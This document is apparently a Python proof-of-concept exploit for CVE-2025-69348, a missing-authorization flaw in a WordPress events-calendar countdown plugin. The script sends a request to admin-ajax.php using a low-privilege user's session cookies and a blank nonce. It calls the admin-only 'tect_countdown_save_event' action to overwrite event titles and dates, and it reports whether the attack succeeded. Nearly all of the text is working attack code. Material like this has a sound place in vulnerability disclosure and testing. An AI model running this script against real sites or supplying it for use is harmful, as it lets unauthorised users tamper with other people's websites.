CVE-2025-69348

import requests import sys # CVE-2025-69348 PoC - Missing Authorization in countdown-for-the-events-calendar plugin # This PoC demonstrates how a low-privilege user can trigger admin-only actions TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" COOKIES = { 'wordpress_test_cookie': 'WP Cookie check', # Replace with authenticated user's session cookies 'wordpress_logged_in_xxx': 'user_session_token' } def exploit_missing_authorization(): """ Exploit for CVE-2025-69348: Missing Authorization vulnerability Low-privilege users can access admin-only AJAX actions """ # Action to trigger (normally requires admin privileges) action = "tect_countdown_save_event" # Malicious payload - event data that low-privilege user should not modify data = { 'action': action, 'event_id': 1, # Target event ID 'countdown_date': '2025-12-31 23:59:59', 'event_title': 'Malicious Event', 'nonce': '' # May be missing or bypassable } print(f"[*] Sending request to {TARGET_URL}") print(f"[*] Action: {action}") print(f"[*] Cookies: {COOKIES}") try: response = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200 and 'success' in response.text.lower(): print("[!] VULNERABLE: Low-privilege user successfully triggered admin action!") return True else: print("[-] Request failed or not vulnerable") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_missing_authorization()

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